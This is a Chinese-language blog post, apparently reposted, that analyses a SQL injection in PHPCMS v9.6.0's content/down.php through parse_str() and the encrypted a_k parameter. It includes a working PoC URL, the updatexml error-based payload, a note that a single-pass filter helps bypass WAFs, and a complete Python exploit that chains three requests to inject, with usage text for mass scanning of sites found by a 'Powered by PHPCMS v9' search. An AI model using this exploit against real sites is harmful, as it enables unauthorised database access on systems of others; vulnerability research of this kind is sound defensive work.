PHPCMS v9.6.0 wap模塊 SQL注入


調試這個漏洞的時候踩了個坑,影響的版本是php5.4以后。

由於漏洞是由parse_str()函數引起的,但是這個函數在gpc開啟的時候(也就是php5.4以下)會對單引號進行過濾\'  。

看這里:https://github.com/80vul/pasc2at

 

漏洞來源:https://www.seebug.org/vuldb/ssvid-92929

分析:這個漏洞要三步的過程,直接進入第三步。

根據給的poc:   /phpv9.6.0/index.php?m=content&c=down&a_k=98f1bLd4Xl93HOb6nCHAem4rZNirba2Plthb5VFosbY8sc5Ge5RUOcXNmToG7KqSO4bFECOrCZKwNhkiCWbpToHPxCMsDVNT50f9b77GSaWC2sX-cwwyfhrIApZgubCyapauw4S9NTkNggs1YgGdCrk3cFXANkAC6v6UMN-be3zwZqfVLeOYdiw

可以看到應該是a_k參數出現問題,位於content目錄下, down.php頁面,

parse_str($a_k); 以&為分隔符,解析變量並且注冊變量,並且對url進行解碼 (參考:http://php.net/manual/zh/function.parse-str.php)

我們的poc是{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

會對id,m,f,modelid,catid 進行注冊。 這里也要注冊后面的參數,不然走不到get_one的流程。(有次沒注冊$f,調試的時候直接跳出)

進入get_one函數就開始對sql語句進行查詢了。

所以就是個注入了,是由parse_str()函數引起。

接着看怎么解碼的,繼續下斷點。

function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0)  函數位於 phpcms/libs/functions/global.func.php  第384-430行

好難,還是看大牛解析(http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0131548.html)

 

 看第二個請求。

 

代碼如下: 

 

 

存在注入語句的參數是 src,進入了safe_replace()函數,把常見的危險字符串過濾成空,又只進行了一次過濾,簡直就是繞waf的好幫手。

 

設置了json_str,所以在回顯中cookie有這么一段。

Set-Cookie: gggCB_att_json=4999e2GcIhZF8XVhycAj9oLE33PZMVtPv1gABnD5mdm5sI-0u9Yb4R6K5ISkWAvm8Eq2DiGdvWz4R4mSKDiKeZm-VeYkob8tukEmYPbZud6yb9cCRp9FR7tUIP92zHdUoynZYdTct2LQDeADrKgcbc1VNwUsVhPEwV8_Ngr7CegmdMsMx5mGiOI

 

 這個post請求中有個post的參數,userid_flash ,搜索一下他干嘛的,

要存在userid,不然就不能往下執行,所以才有了第一步。

 

 

poc:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = i@cdxy.me

"""
PHPCMS content/down.php SQL Injection

version
  <= 9.6.0
Type
  error-based
Usage
  python POC-T.py -s phpcms9.6.0-sqli -aG "Powered by PHPCMS v9" --limit 100

"""

import requests
import re
from urllib import quote

TIMEOUT = 3




def poc(url):

    payload = "&id=%*27 and updat*exml(1,con*cat(1,(us*er())),1)%23&modelid=1&catid=1&m=1&f="

    cookies = {}
    step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)
    for c in requests.get(step1, timeout=TIMEOUT).cookies:
        if c.name[-7:] == '_siteid':
            cookie_head = c.name[:6]
            cookies[cookie_head + '_userid'] = c.value
            cookies[c.name] = c.value
            break
    else:
        return False

    step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))
    for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:
        if c.name[-9:] == '_att_json':
            enc_payload = c.value
            print '111'
            break
    else:
        return False

    setp3 = url + '/index.php?m=content&c=down&a_k=' + enc_payload
    print '222'
    r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT)
    print r.content

print poc('http://phpstudy.com/phpv9.6.0/')

  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM